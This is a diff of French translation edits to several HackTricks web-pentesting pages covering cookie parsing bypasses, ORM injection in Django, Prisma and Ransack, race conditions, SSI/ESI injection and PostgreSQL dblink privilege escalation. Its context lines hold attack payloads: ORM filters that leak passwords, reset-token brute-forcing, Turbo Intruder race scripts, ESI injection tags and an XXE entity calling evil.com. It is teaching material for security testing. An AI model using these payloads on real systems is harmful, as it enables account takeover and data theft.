-Selon [**ce blog**](https://portswigger.net/research/bypassing-wafs-with-the-phantom-version-cookie), il pourrait être possible d'utiliser l'attribut de cookie **`$Version=1`** pour amener le back-end à utiliser une ancienne logique pour parser le cookie en raison de **RFC2109**. De plus, d'autres valeurs comme **`$Domain`** et **`$Path`** peuvent être utilisées pour modifier le comportement du back-end avec le cookie.
+Selon [**cet article de blog**](https://portswigger.net/research/bypassing-wafs-with-the-phantom-version-cookie), il pourrait être possible d'utiliser l'attribut de cookie **`$Version=1`** pour amener le back-end à utiliser une ancienne logique pour parser le cookie en raison de la **RFC2109**. De plus, d'autres valeurs comme **`$Domain`** et **`$Path`** peuvent être utilisées pour modifier le comportement du back-end avec le cookie.
 
 #### Analyse de contournement de valeur avec encodage de chaîne entre guillemets
 
@@ -194,11 +194,11 @@ Ce parsing indique de déséchapper les valeurs échappées à l'intérieur des
 
 #### Contournement des listes de blocage de noms de cookies
 
-Dans le RFC2109, il est indiqué qu'une **virgule peut être utilisée comme séparateur entre les valeurs de cookie**. Il est également possible d'ajouter **des espaces et des tabulations avant et après le signe égal**. Par conséquent, un cookie comme `$Version=1; foo=bar, abc = qux` ne génère pas le cookie `"foo":"bar, admin = qux"` mais les cookies `foo":"bar"` et `"admin":"qux"`. Remarquez comment 2 cookies sont générés et comment l'espace avant et après le signe égal a été supprimé pour admin.
+Dans la RFC2109, il est indiqué qu'une **virgule peut être utilisée comme séparateur entre les valeurs de cookie**. Et il est également possible d'ajouter **des espaces et des tabulations avant et après le signe égal**. Par conséquent, un cookie comme `$Version=1; foo=bar, abc = qux` ne génère pas le cookie `"foo":"bar, admin = qux"` mais les cookies `foo":"bar"` et `"admin":"qux"`. Remarquez comment 2 cookies sont générés et comment l'espace avant et après le signe égal a été supprimé pour admin.
 
 #### Analyse de contournement de valeur avec séparation de cookies
 
-Enfin, différentes portes dérobées rejoindraient dans une chaîne différents cookies passés dans différents en-têtes de cookies comme dans :&#x20;
+Enfin, différentes portes dérobées pourraient se joindre dans une chaîne de différents cookies passés dans différents en-têtes de cookies comme dans :
 ```
 GET / HTTP/1.1
 Host: example.com
@@ -229,7 +229,7 @@ Resulting cookie: name=eval('test//, comment') => allowed
 Si le cookie reste le même (ou presque) lorsque vous vous connectez, cela signifie probablement que le cookie est lié à un champ de votre compte (probablement le nom d'utilisateur). Ensuite, vous pouvez :
 
 - Essayer de créer beaucoup de **comptes** avec des noms d'utilisateur très **similaires** et essayer de **deviner** comment l'algorithme fonctionne.
-- Essayer de **bruteforcer le nom d'utilisateur**. Si le cookie est enregistré uniquement comme méthode d'authentification pour votre nom d'utilisateur, alors vous pouvez créer un compte avec le nom d'utilisateur "**Bmin**" et **bruteforcer** chaque **bit** de votre cookie car l'un des cookies que vous allez essayer sera celui appartenant à "**admin**".
+- Essayer de **bruteforcer le nom d'utilisateur**. Si le cookie est uniquement enregistré comme méthode d'authentification pour votre nom d'utilisateur, alors vous pouvez créer un compte avec le nom d'utilisateur "**Bmin**" et **bruteforcer** chaque **bit** de votre cookie car l'un des cookies que vous allez essayer sera celui appartenant à "**admin**".
 - Essayer **Padding** **Oracle** (vous pouvez déchiffrer le contenu du cookie). Utilisez **padbuster**.
 
 **Padding Oracle - Exemples de Padbuster**

src/pentesting-web/orm-injection.md

@@ -1,10 +1,10 @@
-# Injection ORM
+# ORM Injection
 
 {{#include ../banners/hacktricks-training.md}}
 
 ## Django ORM (Python)
 
-Dans [**cet article**](https://www.elttam.com/blog/plormbing-your-django-orm/) est expliqué comment il est possible de rendre un ORM Django vulnérable en utilisant par exemple un code comme :
+Dans [**cet article**](https://www.elttam.com/blog/plormbing-your-django-orm/) est expliqué comment il est possible de rendre un Django ORM vulnérable en utilisant par exemple un code comme :
 
 <pre class="language-python"><code class="lang-python">class ArticleView(APIView):
 """
@@ -24,7 +24,7 @@ Notez comment toutes les request.data (qui seront un json) sont directement pass
 
 Exemples :
 
-- **Connexion :** Dans une simple connexion, essayez de leak les mots de passe des utilisateurs enregistrés à l'intérieur.
+- **Login :** Dans un simple login, essayez de leak les mots de passe des utilisateurs enregistrés à l'intérieur.
 ```json
 {
 "username": "admin",
@@ -50,9 +50,9 @@ Exemples :
 }
 ```
 > [!CAUTION]
-> Dans ce cas, nous pouvons trouver tous les utilisateurs dans les départements d'utilisateurs qui ont créé des articles et ensuite fuir leurs mots de passe (dans le json précédent, nous ne fuyons que les noms d'utilisateur, mais il est ensuite possible de fuir les mots de passe).
+> Dans ce cas, nous pouvons trouver tous les utilisateurs dans les départements d'utilisateurs qui ont créé des articles et ensuite fuir leurs mots de passe (dans le json précédent, nous fuyons juste les noms d'utilisateur, mais il est ensuite possible de fuir les mots de passe).
 
-- **Abus des relations many-to-many entre les groupes et les permissions avec les utilisateurs** : De plus, le modèle AbstractUser est utilisé pour générer des utilisateurs dans Django et par défaut, ce modèle a certaines **relations many-to-many avec les tables Permission et Group**. Ce qui est essentiellement un moyen par défaut d'**accéder à d'autres utilisateurs à partir d'un utilisateur** s'ils sont dans le **même groupe ou partagent la même permission**.
+- **Abus des relations many-to-many entre Django Group et Permission avec les utilisateurs** : De plus, le modèle AbstractUser est utilisé pour générer des utilisateurs dans Django et par défaut, ce modèle a certaines **relations many-to-many avec les tables Permission et Group**. Ce qui est essentiellement une façon par défaut d'**accéder à d'autres utilisateurs à partir d'un utilisateur** s'ils sont dans le **même groupe ou partagent la même permission**.
 ```bash
 # By users in the same group
 created_by__user__groups__user__password
@@ -67,7 +67,7 @@ Article.objects.filter(is_secret=False, categories__articles__id=2)
 > [!CAUTION]
 > Abuser des relations peut permettre de contourner même les filtres destinés à protéger les données affichées.
 
-- **Error/Time based via ReDoS**: Dans les exemples précédents, il était prévu d'avoir des réponses différentes si le filtrage fonctionnait ou non pour l'utiliser comme oracle. Mais il pourrait être possible qu'une action soit effectuée dans la base de données et que la réponse soit toujours la même. Dans ce scénario, il pourrait être possible de provoquer une erreur de la base de données pour obtenir un nouvel oracle.
+- **Basé sur l'erreur/le temps via ReDoS** : Dans les exemples précédents, il était prévu d'avoir des réponses différentes si le filtrage fonctionnait ou non pour l'utiliser comme oracle. Mais il pourrait être possible qu'une action soit effectuée dans la base de données et que la réponse soit toujours la même. Dans ce scénario, il pourrait être possible de provoquer une erreur de la base de données pour obtenir un nouvel oracle.
 ```json
 // Non matching password
 {
@@ -83,7 +83,7 @@ Article.objects.filter(is_secret=False, categories__articles__id=2)
 
 ## Prisma ORM (NodeJS)
 
-Les éléments suivants sont [**des astuces extraites de ce post**](https://www.elttam.com/blog/plorming-your-primsa-orm/).
+Les éléments suivants sont [**des astuces extraites de cet article**](https://www.elttam.com/blog/plorming-your-primsa-orm/).
 
 - **Contrôle total de la recherche** :
 
@@ -104,7 +104,7 @@ res.json([]);
 
 Il est possible de voir que tout le corps javascript est passé à prisma pour effectuer des requêtes.
 
-Dans l'exemple du post original, cela vérifierait tous les posts créés par quelqu'un (chaque post est créé par quelqu'un) en retournant également les informations de l'utilisateur de cette personne (nom d'utilisateur, mot de passe...)
+Dans l'exemple de l'article original, cela vérifierait tous les posts créés par quelqu'un (chaque post est créé par quelqu'un) en retournant également les informations de l'utilisateur de cette personne (nom d'utilisateur, mot de passe...)
 ```json
 {
 "filter": {
@@ -187,9 +187,9 @@ startsWith: "pas",
 })
 ```
 > [!CAUTION]
-> En utilisant des opérations comme `startsWith`, il est possible de leak des informations.&#x20;
+> En utilisant des opérations comme `startsWith`, il est possible de leak des informations.
 
-- **Contournement du filtrage relationnel plusieurs-à-plusieurs :**&#x20;
+- **Contournement du filtrage relationnel plusieurs-à-plusieurs :**
 ```javascript
 app.post("/articles", async (req, res) => {
 try {
@@ -284,13 +284,13 @@ def index
 @posts = @q.result(distinct: true)
 end
 ```
-Notez comment la requête sera définie par les paramètres envoyés par l'attaquant. Il était possible, par exemple, de forcer le jeton de réinitialisation avec :
+Notez comment la requête sera définie par les paramètres envoyés par l'attaquant. Il était possible, par exemple, de forcer le token de réinitialisation avec :
 ```http
 GET /posts?q[user_reset_password_token_start]=0
 GET /posts?q[user_reset_password_token_start]=1
 ...
 ```
-En forçant et potentiellement en utilisant des relations, il était possible de leak plus de données d'une base de données.
+En forçant par brute et potentiellement en utilisant des relations, il était possible de leak plus de données d'une base de données.
 
 ## Références
 

src/pentesting-web/phone-number-injections.md

@@ -1,16 +1,16 @@
-# Injections de Numéros de Téléphone
+# Injections de Numéro de Téléphone
 
 {{#include ../banners/hacktricks-training.md}}
 
 Il est possible d'**ajouter des chaînes à la fin du numéro de téléphone** qui pourraient être utilisées pour exploiter des injections courantes (XSS, SQLi, SSRF...) ou même pour contourner des protections :
 
-<figure><img src="../images/image (461).png" alt="https://www.youtube.com/watch?app=desktop\&#x26;v=4ZsTKvfP1g0"><figcaption></figcaption></figure>
+<figure><img src="../images/image (461).png" alt="https://www.youtube.com/watch?app=desktop\&v=4ZsTKvfP1g0"><figcaption></figcaption></figure>
 
-<figure><img src="../images/image (941).png" alt="https://www.youtube.com/watch?app=desktop\&#x26;v=4ZsTKvfP1g0"><figcaption></figcaption></figure>
+<figure><img src="../images/image (941).png" alt="https://www.youtube.com/watch?app=desktop\&v=4ZsTKvfP1g0"><figcaption></figcaption></figure>
 
-**Bypass OTP / Bruteforce** fonctionnerait comme ceci :
+**Contournement OTP / Bruteforce** fonctionnerait comme ceci :
 
-<figure><img src="../images/image (116).png" alt="https://www.youtube.com/watch?app=desktop\&#x26;v=4ZsTKvfP1g0"><figcaption></figcaption></figure>
+<figure><img src="../images/image (116).png" alt="https://www.youtube.com/watch?app=desktop\&v=4ZsTKvfP1g0"><figcaption></figcaption></figure>
 
 ## Références
 

src/pentesting-web/race-condition.md

@@ -16,14 +16,14 @@ Ici, vous pouvez trouver quelques techniques pour Synchroniser les Requêtes :
 - **HTTP/2** : Prend en charge l'envoi de deux requêtes sur une seule connexion TCP, réduisant l'impact du jitter réseau. Cependant, en raison des variations côté serveur, deux requêtes peuvent ne pas suffire pour une exploitation cohérente de la condition de course.
 - **HTTP/1.1 'Synchronisation du Dernier Octet'** : Permet l'envoi préalable de la plupart des parties de 20-30 requêtes, en retenant un petit fragment, qui est ensuite envoyé ensemble, atteignant simultanément le serveur.
 
-**La préparation pour la Synchronisation du Dernier Octet** implique :
+**Préparation pour la Synchronisation du Dernier Octet** implique :
 
 1. Envoyer les en-têtes et les données du corps moins le dernier octet sans terminer le flux.
 2. Faire une pause de 100ms après l'envoi initial.
-3. Désactiver TCP_NODELAY pour utiliser l'algorithme de Nagle pour le regroupement des derniers paquets.
+3. Désactiver TCP_NODELAY pour utiliser l'algorithme de Nagle pour regrouper les derniers trames.
 4. Pinger pour réchauffer la connexion.
 
-L'envoi subséquent des paquets retenus devrait aboutir à leur arrivée dans un seul paquet, vérifiable via Wireshark. Cette méthode ne s'applique pas aux fichiers statiques, qui ne sont généralement pas impliqués dans les attaques RC.
+L'envoi subséquent des trames retenues devrait aboutir à leur arrivée dans un seul paquet, vérifiable via Wireshark. Cette méthode ne s'applique pas aux fichiers statiques, qui ne sont généralement pas impliqués dans les attaques RC.
 
 ### S'adapter à l'Architecture du Serveur
 
@@ -31,11 +31,11 @@ Comprendre l'architecture de la cible est crucial. Les serveurs frontaux peuvent
 
 #### Gestion du Verrouillage Basé sur la Session
 
-Des frameworks comme le gestionnaire de session de PHP sérialisent les requêtes par session, obscurcissant potentiellement les vulnérabilités. L'utilisation de différents jetons de session pour chaque requête peut contourner ce problème.
+Des frameworks comme le gestionnaire de session de PHP sérialisent les requêtes par session, obscurcissant potentiellement les vulnérabilités. Utiliser différents jetons de session pour chaque requête peut contourner ce problème.
 
 #### Surmonter les Limites de Taux ou de Ressources
 
-Si le réchauffement de la connexion est inefficace, déclencher intentionnellement les délais de limite de taux ou de ressources des serveurs web à travers un flot de requêtes fictives pourrait faciliter l'attaque à paquet unique en induisant un délai côté serveur propice aux conditions de course.
+Si le réchauffement de la connexion est inefficace, déclencher intentionnellement les délais de limites de taux ou de ressources des serveurs web à travers un flot de requêtes fictives pourrait faciliter l'attaque à paquet unique en induisant un délai côté serveur propice aux conditions de course.
 
 ## Exemples d'Attaque
 
@@ -219,20 +219,20 @@ response = requests.get(url, verify=False)
 ```
 ### Amélioration de l'attaque par paquet unique
 
-Dans la recherche originale, il est expliqué que cette attaque a une limite de 1 500 octets. Cependant, dans [**ce post**](https://flatt.tech/research/posts/beyond-the-limit-expanding-single-packet-race-condition-with-first-sequence-sync/), il a été expliqué comment il est possible d'étendre la limitation de 1 500 octets de l'attaque par paquet unique à la **limitation de fenêtre de 65 535 B de TCP en utilisant la fragmentation au niveau IP** (en divisant un seul paquet en plusieurs paquets IP) et en les envoyant dans un ordre différent, ce qui a permis d'empêcher le réassemblage du paquet jusqu'à ce que tous les fragments atteignent le serveur. Cette technique a permis au chercheur d'envoyer 10 000 requêtes en environ 166 ms. 
+Dans la recherche originale, il est expliqué que cette attaque a une limite de 1 500 octets. Cependant, dans [**ce post**](https://flatt.tech/research/posts/beyond-the-limit-expanding-single-packet-race-condition-with-first-sequence-sync/), il a été expliqué comment il est possible d'étendre la limitation de 1 500 octets de l'attaque par paquet unique à la **limitation de fenêtre de 65 535 B de TCP en utilisant la fragmentation au niveau IP** (en divisant un seul paquet en plusieurs paquets IP) et en les envoyant dans un ordre différent, ce qui a permis d'empêcher le réassemblage du paquet jusqu'à ce que tous les fragments atteignent le serveur. Cette technique a permis au chercheur d'envoyer 10 000 requêtes en environ 166 ms.
 
 Notez que bien que cette amélioration rende l'attaque plus fiable dans les RC qui nécessitent que des centaines/milliers de paquets arrivent en même temps, elle peut également avoir certaines limitations logicielles. Certains serveurs HTTP populaires comme Apache, Nginx et Go ont un paramètre strict `SETTINGS_MAX_CONCURRENT_STREAMS` de 100, 128 et 250. Cependant, d'autres comme NodeJS et nghttp2 l'ont illimité.\
-Cela signifie essentiellement qu'Apache ne considérera que 100 connexions HTTP à partir d'une seule connexion TCP (limitant cette attaque RC).
+Cela signifie essentiellement qu'Apache ne considérera que 100 connexions HTTP à partir d'une seule connexion TCP (limitant ainsi cette attaque RC).
 
 Vous pouvez trouver quelques exemples utilisant cette technique dans le dépôt [https://github.com/Ry0taK/first-sequence-sync/tree/main](https://github.com/Ry0taK/first-sequence-sync/tree/main).
 
-## BF brut
+## Raw BF
 
 Avant la recherche précédente, voici quelques charges utiles utilisées qui essayaient simplement d'envoyer les paquets aussi rapidement que possible pour provoquer une RC.
 
 - **Répéteur :** Consultez les exemples de la section précédente.
-- **Intrus :** Envoyez la **requête** à **Intrus**, définissez le **nombre de threads** à **30** dans le **menu Options** et sélectionnez comme charge utile **Charges utiles nulles** et générez **30.**
-- **Turbo Intrus**
+- **Intrus :** Envoyez la **requête** à **Intrus**, définissez le **nombre de threads** à **30** dans le **menu Options** et sélectionnez comme charge utile **Null payloads** et générez **30**.
+- **Turbo Intruder**
 ```python
 def queueRequests(target, wordlists):
 engine = RequestEngine(endpoint=target.endpoint,
@@ -281,7 +281,7 @@ asyncio.run(main())
 ```
 ## **Méthodologie RC**
 
-### Débordement de limite / TOCTOU
+### Limite-dépassement / TOCTOU
 
 C'est le type de condition de course le plus basique où **les vulnérabilités** **apparaissent** dans des endroits qui **limitent le nombre de fois que vous pouvez effectuer une action**. Comme utiliser le même code de réduction dans un magasin en ligne plusieurs fois. Un exemple très simple peut être trouvé dans [**ce rapport**](https://medium.com/@pravinponnusamy/race-condition-vulnerability-found-in-bug-bounty-program-573260454c43) ou dans [**ce bug**](https://hackerone.com/reports/759247)**.**
 
@@ -309,7 +309,7 @@ Exploiter des conditions de course complexes implique souvent de tirer parti d'o
 
 ### Attaques sensibles au temps
 
-La précision dans le timing des requêtes peut révéler des vulnérabilités, surtout lorsque des méthodes prévisibles comme les horodatages sont utilisées pour les jetons de sécurité. Par exemple, générer des jetons de réinitialisation de mot de passe basés sur des horodatages pourrait permettre des jetons identiques pour des requêtes simultanées.
+La précision dans le timing des requêtes peut révéler des vulnérabilités, surtout lorsque des méthodes prévisibles comme les horodatages sont utilisées pour les jetons de sécurité. Par exemple, générer des jetons de réinitialisation de mot de passe basés sur des horodatages pourrait permettre d'obtenir des jetons identiques pour des requêtes simultanées.
 
 **Pour exploiter :**
 
@@ -319,7 +319,7 @@ La précision dans le timing des requêtes peut révéler des vulnérabilités,
 
 - Demandez deux jetons de réinitialisation de mot de passe en même temps et comparez-les. Des jetons correspondants suggèrent un défaut dans la génération de jetons.
 
-**Vérifiez ceci** [**PortSwigger Lab**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-exploiting-time-sensitive-vulnerabilities) **pour essayer cela.**
+**Vérifiez ce** [**PortSwigger Lab**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-exploiting-time-sensitive-vulnerabilities) **pour essayer cela.**
 
 ## Études de cas sur les sous-états cachés
 
@@ -333,21 +333,21 @@ L'idée est de **vérifier une adresse e-mail et de la changer en une autre en m
 
 ### Changer l'e-mail en 2 adresses e-mail basées sur des cookies
 
-Selon [**cette recherche**](https://portswigger.net/research/smashing-the-state-machine), Gitlab était vulnérable à une prise de contrôle de cette manière car il pourrait **envoyer** le **jeton de vérification d'e-mail d'un e-mail à l'autre**.
+Selon [**cette recherche**](https://portswigger.net/research/smashing-the-state-machine), Gitlab était vulnérable à une prise de contrôle de cette manière car il pourrait **envoyer** le **jeton de vérification d'e-mail d'une adresse à l'autre**.
 
-**Vérifiez ceci** [**PortSwigger Lab**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-single-endpoint) **pour essayer cela.**
+**Vérifiez ce** [**PortSwigger Lab**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-single-endpoint) **pour essayer cela.**
 
 ### États de base de données cachés / Contournement de confirmation
 
-Si **2 écritures différentes** sont utilisées pour **ajouter** **des informations** dans une **base de données**, il y a une petite portion de temps où **seules les premières données ont été écrites** dans la base de données. Par exemple, lors de la création d'un utilisateur, le **nom d'utilisateur** et le **mot de passe** peuvent être **écrits** et **ensuite le jeton** pour confirmer le compte nouvellement créé est écrit. Cela signifie que pendant un court instant, le **jeton pour confirmer un compte est nul**.
+Si **2 écritures différentes** sont utilisées pour **ajouter** **des informations** dans une **base de données**, il y a une petite portion de temps où **seules les premières données ont été écrites** dans la base de données. Par exemple, lors de la création d'un utilisateur, le **nom d'utilisateur** et le **mot de passe** peuvent être **écrits** et **ensuite le jeton** pour confirmer le compte nouvellement créé est écrit. Cela signifie que pendant un court laps de temps, le **jeton pour confirmer un compte est nul**.
 
 Par conséquent, **enregistrer un compte et envoyer plusieurs requêtes avec un jeton vide** (`token=` ou `token[]=` ou toute autre variation) pour confirmer le compte immédiatement pourrait permettre de c**onfirmer un compte** où vous ne contrôlez pas l'e-mail.
 
-**Vérifiez ceci** [**PortSwigger Lab**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-partial-construction) **pour essayer cela.**
+**Vérifiez ce** [**PortSwigger Lab**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-partial-construction) **pour essayer cela.**
 
 ### Contournement de 2FA
 
-Le pseudo-code suivant est vulnérable à une condition de course car pendant un très court instant, le **2FA n'est pas appliqué** pendant que la session est créée :
+Le pseudo-code suivant est vulnérable à une condition de course car pendant un très court laps de temps, le **2FA n'est pas appliqué** pendant que la session est créée :
 ```python
 session['userid'] = user.userid
 if user.mfa_enabled:
@@ -358,15 +358,15 @@ session['enforce_mfa'] = True
 ### OAuth2 persistance éternelle
 
 Il existe plusieurs [**fournisseurs OAUth**](https://en.wikipedia.org/wiki/List_of_OAuth_providers). Ces services vous permettront de créer une application et d'authentifier les utilisateurs que le fournisseur a enregistrés. Pour ce faire, le **client** devra **permettre à votre application** d'accéder à certaines de ses données à l'intérieur du **fournisseur OAUth**.\
-Donc, jusqu'ici, c'est juste une connexion classique avec google/linkedin/github... où vous êtes invité avec une page disant : "_L'application \<InsertCoolName> souhaite accéder à vos informations, voulez-vous le permettre ?_"
+Donc, jusqu'ici, c'est juste une connexion classique avec google/linkedin/github... où vous êtes invité avec une page disant : "_L'application \<InsertCoolName> souhaite accéder à vos informations, voulez-vous l'autoriser ?_"
 
 #### Condition de course dans `authorization_code`
 
-Le **problème** apparaît lorsque vous **l'acceptez** et envoie automatiquement un **`authorization_code`** à l'application malveillante. Ensuite, cette **application abuse d'une Condition de course dans le fournisseur de service OAUth pour générer plus d'un AT/RT** (_Authentication Token/Refresh Token_) à partir du **`authorization_code`** pour votre compte. En gros, elle va abuser du fait que vous avez accepté l'application pour accéder à vos données afin de **créer plusieurs comptes**. Ensuite, si vous **arrêtez de permettre à l'application d'accéder à vos données, une paire d'AT/RT sera supprimée, mais les autres resteront valides**.
+Le **problème** apparaît lorsque vous **l'acceptez** et envoie automatiquement un **`authorization_code`** à l'application malveillante. Ensuite, cette **application abuse d'une Condition de course dans le fournisseur de service OAUth pour générer plus d'un AT/RT** (_Token d'authentification/Token de rafraîchissement_) à partir du **`authorization_code`** pour votre compte. En gros, elle va abuser du fait que vous avez accepté l'application pour accéder à vos données afin de **créer plusieurs comptes**. Ensuite, si vous **arrêtez de permettre à l'application d'accéder à vos données, une paire d'AT/RT sera supprimée, mais les autres resteront valides**.
 
 #### Condition de course dans `Refresh Token`
 
-Une fois que vous avez **obtenu un RT valide**, vous pourriez essayer de **l'abuser pour générer plusieurs AT/RT** et **même si l'utilisateur annule les permissions** pour l'application malveillante d'accéder à ses données, **plusieurs RT resteront valides.**
+Une fois que vous avez **obtenu un RT valide**, vous pourriez essayer de **l'abuser pour générer plusieurs AT/RT** et **même si l'utilisateur annule les autorisations** pour l'application malveillante d'accéder à ses données, **plusieurs RT resteront valides.**
 
 ## **RC dans WebSockets**
 

src/pentesting-web/server-side-inclusion-edge-side-inclusion-injection.md

@@ -4,10 +4,10 @@
 
 ## Informations de Base sur l'Inclusion Côté Serveur
 
-**(Introduction tirée de** [**la documentation Apache**](https://httpd.apache.org/docs/current/howto/ssi.html)**)**
+**(Introduction tirée des** [**docs Apache**](https://httpd.apache.org/docs/current/howto/ssi.html)**)**
 
 SSI (Server Side Includes) sont des directives qui sont **placées dans des pages HTML et évaluées sur le serveur** pendant que les pages sont servies. Elles vous permettent d'**ajouter du contenu généré dynamiquement** à une page HTML existante, sans avoir à servir l'ensemble de la page via un programme CGI ou une autre technologie dynamique.\
-Par exemple, vous pourriez placer une directive dans une page HTML existante, comme :
+Par exemple, vous pourriez placer une directive dans une page HTML existante, telle que :
 
 `<!--#echo var="DATE_LOCAL" -->`
 
@@ -17,7 +17,7 @@ Et, lorsque la page est servie, ce fragment sera évalué et remplacé par sa va
 
 La décision d'utiliser SSI, et quand faire générer entièrement votre page par un programme, dépend généralement de la quantité de la page qui est statique et de celle qui doit être recalculée chaque fois que la page est servie. SSI est un excellent moyen d'ajouter de petites informations, comme l'heure actuelle - montrée ci-dessus. Mais si la majorité de votre page est générée au moment où elle est servie, vous devez chercher une autre solution.
 
-Vous pouvez inférer la présence de SSI si l'application web utilise des fichiers avec l'extension&#x73;**`.shtml`, `.shtm` ou `.stm`**, mais ce n'est pas le seul cas.
+Vous pouvez inférer la présence de SSI si l'application web utilise des fichiers avec les extensions **`.shtml`, `.shtm` ou `.stm`**, mais ce n'est pas le seul cas.
 
 Une expression SSI typique a le format suivant :
 ```
@@ -54,10 +54,10 @@ Une expression SSI typique a le format suivant :
 <!--#set var="name" value="Rich" -->
 
 ```
-## Inclusion côté serveur
+## Inclusion côté Edge
 
 Il y a un problème **de mise en cache des informations ou des applications dynamiques** car une partie du contenu peut avoir **varié** pour la prochaine fois que le contenu est récupéré. C'est ce à quoi **ESI** est utilisé, pour indiquer en utilisant des balises ESI le **contenu dynamique qui doit être généré** avant d'envoyer la version mise en cache.\
-Si un **attaquant** est capable de **injecter une balise ESI** à l'intérieur du contenu mis en cache, alors, il pourrait être capable d'**injecter du contenu arbitraire** dans le document avant qu'il ne soit envoyé aux utilisateurs.
+Si un **attaquant** est capable de **injecter une balise ESI** à l'intérieur du contenu mis en cache, alors, il pourrait être capable d'**injecter un contenu arbitraire** dans le document avant qu'il ne soit envoyé aux utilisateurs.
 
 ### Détection ESI
 
@@ -95,16 +95,16 @@ hell<!--esi-->o
 - **Vars** : Prend en charge la directive `<esi:vars>`. Utile pour contourner les filtres XSS
 - **Cookie** : Les cookies du document sont accessibles au moteur ESI
 - **En-têtes en amont requis** : Les applications de substitution ne traiteront pas les déclarations ESI à moins que l'application en amont ne fournisse les en-têtes
-- **Liste blanche d'hôtes** : Dans ce cas, les inclusions ESI ne sont possibles que depuis des hôtes de serveur autorisés, rendant SSRF, par exemple, seulement possible contre ces hôtes
+- **Liste blanche des hôtes** : Dans ce cas, les inclusions ESI ne sont possibles que depuis des hôtes de serveur autorisés, rendant SSRF, par exemple, seulement possible contre ces hôtes
 
-|         **Logiciel**         | **Includes** | **Vars** | **Cookies** | **En-têtes en amont requis** | **Liste blanche d'hôtes** |
-| :--------------------------: | :----------: | :------: | :---------: | :---------------------------: | :-----------------------: |
-|            Squid3            |     Oui      |   Oui    |     Oui     |              Oui              |          Non             |
-|        Varnish Cache         |     Oui      |    Non    |     Non     |              Oui              |          Oui             |
-|            Fastly            |     Oui      |    Non    |     Non     |              Non               |          Oui             |
-| Akamai ESI Test Server (ETS) |     Oui      |   Oui    |     Oui     |              Non               |          Non             |
-|          NodeJS esi          |     Oui      |   Oui    |     Oui     |              Non               |          Non             |
-|        NodeJS nodesi         |     Oui      |    Non    |     Non     |              Non               |      Optionnel           |
+|         **Logiciel**         | **Includes** | **Vars** | **Cookies** | **En-têtes en amont requis** | **Liste blanche des hôtes** |
+| :--------------------------: | :----------: | :------: | :---------: | :---------------------------: | :--------------------------: |
+|            Squid3            |     Oui      |   Oui    |     Oui     |              Oui              |            Non              |
+|        Varnish Cache         |     Oui      |    Non    |     Non     |              Oui              |            Oui               |
+|            Fastly            |     Oui      |    Non    |     Non     |              Non              |            Oui               |
+| Akamai ESI Test Server (ETS) |     Oui      |   Oui    |     Oui     |              Non              |            Non              |
+|          NodeJS esi          |     Oui      |   Oui    |     Oui     |              Non              |            Non              |
+|        NodeJS nodesi         |     Oui      |    Non    |     Non     |              Non              |         Optionnel           |
 
 #### XSS
 
@@ -160,7 +160,7 @@ Ce qui suit ajoutera un en-tête `Location` à la réponse
 <esi:request_header name="User-Agent" value="12345"/>
 </esi:include>
 ```
-- Ajouter un en-tête dans la réponse (utile pour contourner "Content-Type: text/json" dans une réponse avec XSS)
+- Ajoutez un en-tête dans la réponse (utile pour contourner "Content-Type: text/json" dans une réponse avec XSS)
 ```bash
 <!--esi/$add_header('Content-Type','text/html')/-->
 
@@ -187,7 +187,7 @@ Il est possible d'utiliser la syntaxe **`eXtensible Stylesheet Language Transfor
 ```xml
 <esi:include src="http://host/poc.xml" dca="xslt" stylesheet="http://host/poc.xsl" />
 ```
-Fichier XSLT :
+XSLT fichier :
 ```xml
 <?xml version="1.0" encoding="ISO-8859-1"?>
 <!DOCTYPE xxe [<!ENTITY xxe SYSTEM "http://evil.com/file" >]>
@@ -205,7 +205,7 @@ xslt-server-side-injection-extensible-stylesheet-language-transformations.md
 - [https://www.gosecure.net/blog/2019/05/02/esi-injection-part-2-abusing-specific-implementations/](https://www.gosecure.net/blog/2019/05/02/esi-injection-part-2-abusing-specific-implementations/)
 - [https://infosecwriteups.com/exploring-the-world-of-esi-injection-b86234e66f91](https://infosecwriteups.com/exploring-the-world-of-esi-injection-b86234e66f91)
 
-## Liste de Détection de Brute-Force
+## Liste de détection de Brute-Force
 
 {{#ref}}
 https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssi_esi.txt

src/pentesting-web/sql-injection/postgresql-injection/network-privesc-port-scanner-and-ntlm-chanllenge-response-disclosure.md

@@ -17,7 +17,7 @@ Le fichier `pg_hba.conf` pourrait être mal configuré **permettant des connexio
 local    all    all    trust
 ```
 _Remarque que cette configuration est couramment utilisée pour modifier le mot de passe d'un utilisateur de la base de données lorsque l'administrateur l'oublie, donc parfois vous pouvez le trouver._\
-_Note également que le fichier pg_hba.conf est lisible uniquement par l'utilisateur et le groupe postgres et modifiable uniquement par l'utilisateur postgres._
+_Remarque également que le fichier pg_hba.conf est lisible uniquement par l'utilisateur et le groupe postgres et modifiable uniquement par l'utilisateur postgres._
 
 Ce cas est **utile si** vous **avez déjà** un **shell** à l'intérieur de la victime car cela vous permettra de vous connecter à la base de données postgresql.
 
@@ -25,7 +25,7 @@ Une autre mauvaise configuration possible consiste en quelque chose comme ceci :
 ```
 host    all     all     127.0.0.1/32    trust
 ```
-Cela permettra à tout le monde depuis le localhost de se connecter à la base de données en tant qu'utilisateur.\
+Cela permettra à tout le monde depuis le localhost de se connecter à la base de données en tant que n'importe quel utilisateur.\
 Dans ce cas, et si la fonction **`dblink`** est **fonctionnelle**, vous pourriez **escalader les privilèges** en vous connectant à la base de données via une connexion déjà établie et accéder à des données auxquelles vous ne devriez pas avoir accès :
 ```sql
 SELECT * FROM dblink('host=127.0.0.1
@@ -42,7 +42,7 @@ RETURNS (result1 TEXT, result2 TEXT);
 ```
 ### Port Scanning
 
-En abusant de `dblink_connect`, vous pourriez également **rechercher des ports ouverts**. Si cette **fonction ne fonctionne pas, vous devriez essayer d'utiliser `dblink_connect_u()` car la documentation indique que `dblink_connect_u()` est identique à `dblink_connect()`, sauf qu'elle permettra aux non-superutilisateurs de se connecter en utilisant n'importe quelle méthode d'authentification\_.
+En abusant de `dblink_connect`, vous pourriez également **rechercher des ports ouverts**. Si cette **fonction ne fonctionne pas, vous devriez essayer d'utiliser `dblink_connect_u()` car la documentation indique que `dblink_connect_u()` est identique à `dblink_connect()`, sauf qu'elle permettra aux non-superutilisateurs de se connecter en utilisant n'importe quelle méthode d'authentification_.
